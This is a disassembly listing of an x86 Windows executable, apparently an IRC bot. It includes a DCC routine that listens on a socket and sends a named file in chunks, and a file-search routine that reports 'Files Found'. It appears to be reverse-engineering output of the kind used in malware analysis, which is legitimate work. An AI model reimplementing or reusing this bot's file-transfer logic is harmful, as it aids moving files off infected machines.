		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40BFF8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40C03A:				; CODE XREF: sub_40BFE0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40BFE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C070	proc near		; CODE XREF: sub_4021CBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_40155F
sub_40C070	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C085
		mov	edi, esi


loc_40C085:				; CODE XREF: ___:0040C081j
		push	esi
		call	sub_4020F9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C09A
		mov	edi, esi


loc_40C09A:				; CODE XREF: ___:0040C096j
		push	esi
		call	sub_40213F
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C0C0	proc near		; CODE XREF: sub_401FCDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402059
sub_40C0C0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0E0	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C0E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C100	proc near		; CODE XREF: sub_401839j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C100	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C120	proc near		; CODE XREF: sub_40213Aj
		mov	eax, ecx
		retn
sub_40C120	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C140	proc near		; CODE XREF: sub_4014A6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C140	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C170	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C170	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C1A0	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B86
		mov	ecx, eax
		call	sub_4016A4
		mov	esi, eax
		push	esi
		call	sub_4020F9
		push	esi
		mov	ebx, eax
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40213F
		push	esi
		mov	ebx, eax
		call	sub_4020F9
		mov	eax, [eax]
		push	eax
		call	sub_40213F
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401839
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FCD
sub_40C1A0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C260	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C260	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C280	proc near		; CODE XREF: sub_40155Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_40C280	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C2B0	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436872
sub_40C2B0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2D0	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C2D0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C300	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C300	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C320	proc near		; CODE XREF: sub_4016A4j
		mov	eax, [ecx]
		retn
sub_40C320	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C340	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C370	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_40C370	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C390	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C3AB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C3AB:				; CODE XREF: sub_40C390+11j
		retn
sub_40C390	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C3E0	proc near		; CODE XREF: sub_401BE5j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C3E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
sub_40C3E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C480	proc near		; CODE XREF: sub_401712j

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C480
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014D3
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40C9CE
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40200E
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C54C
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		call	sub_63125E
		nop
		add	esp, 8
		jmp	loc_40C975
; ---------------------------------------------------------------------------


loc_40C54C:				; CODE XREF: sub_40C480+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_40C59A
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C640
; ---------------------------------------------------------------------------


loc_40C59A:				; CODE XREF: sub_40C480+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014D3
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C5F3:				; CODE XREF: sub_40C480+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C605
		mov	eax, 5Fh
		jmp	short loc_40C608
; ---------------------------------------------------------------------------


loc_40C605:				; CODE XREF: sub_40C480+17Cj
		movsx	eax, al


loc_40C608:				; CODE XREF: sub_40C480+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C5F3
		push	1
		push	ebx
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_40C65D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C640:				; CODE XREF: sub_40C480+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		jmp	loc_40C96F
; ---------------------------------------------------------------------------


loc_40C65D:				; CODE XREF: sub_40C480+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 289044Ch
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C6C4
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		call	sub_63125E
		nop
		add	esp, 8
		jmp	loc_40C96F
; ---------------------------------------------------------------------------


loc_40C6C4:				; CODE XREF: sub_40C480+201j
		push	0
		push	esi
		nop
		call	near ptr 2890000h
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_401424
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D607D
		push	eax
		call	sub_401DF7
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	eax
		call	near ptr 71AB2BC0h
		nop
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_4439E8
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_401681
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D6065
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C7BD
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		jmp	loc_40C95A
; ---------------------------------------------------------------------------


loc_40C7BD:				; CODE XREF: sub_40C480+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C80D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		jmp	loc_40C95A
; ---------------------------------------------------------------------------


loc_40C80D:				; CODE XREF: sub_40C480+360j
		push	edi
		nop
		call	near ptr 71AB9639h
		test	ebx, ebx
		jz	loc_40C8C5


loc_40C81C:				; CODE XREF: sub_40C480+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C827
		mov	ebp, ebx


loc_40C827:				; CODE XREF: sub_40C480+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		nop
		call	near ptr 288033Bh
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		nop
		call	near ptr 2880000h
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		nop
		call	near ptr 71AB615Ah
		cmp	eax, 1
		jl	loc_40C98E
		cmp	edi, 1
		jl	loc_40C98E
		sub	ebx, edi
		jnz	loc_40C81C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C8C5:				; CODE XREF: sub_40C480+396j
		push	esi
		call	near ptr 28709F4h
		nop
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_401424
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014D3
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C95A:				; CODE XREF: sub_40C480+338j
					; sub_40C480+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C96F:				; CODE XREF: sub_40C480+1D8j
					; sub_40C480+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C97C


loc_40C975:				; CODE XREF: sub_40C480+C7j
		push	ebx
		call	near ptr 71AB9639h
		nop


loc_40C97C:				; CODE XREF: sub_40C480+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		call	near ptr 71AB9639h
		nop
		push	esi
		nop
		call	near ptr 28700F2h


loc_40C98E:				; CODE XREF: sub_40C480+427j
					; sub_40C480+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		nop
		call	near ptr 71AB9639h
		push	1
		call	near ptr 28700F2h
		nop


loc_40C9CE:				; CODE XREF: sub_40C480+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C480	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CB50	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_40CB50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CB70:				; CODE XREF: ___:loc_401AFFj
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CB90	proc near		; CODE XREF: sub_402045j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CB90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
sub_40CB90	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CC30	proc near		; CODE XREF: sub_401BA4j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CC30
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014D3
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CE31
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40198D
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40200E
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E2E
		push	offset asc_443ABC ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CDAB
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E2E
		push	offset dword_446F24
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CDAB:				; CODE XREF: sub_40CC30+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014D3
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_401681
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_402257
		push	eax
		lea	edx, [esp+2A0h+var_20C]
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		nop
		call	sub_63125E
		mov	eax, [esp+2A4h+var_211]
		add	esp, 24h
		cmp	eax, ebx
		jnz	short loc_40CE1C
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_401681
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_401523
		add	esp, 10h


loc_40CE1C:				; CODE XREF: sub_40CC30+1C9j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E24
		add	esp, 4
		push	ebx
		nop
		call	near ptr 28700F2h
		pop	ebx


loc_40CE31:				; CODE XREF: sub_40CC30+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CC30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CEE0	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CEE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CEE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CF60:				; CODE XREF: ___:loc_40226Bj
		push	0FFFFFFFFh
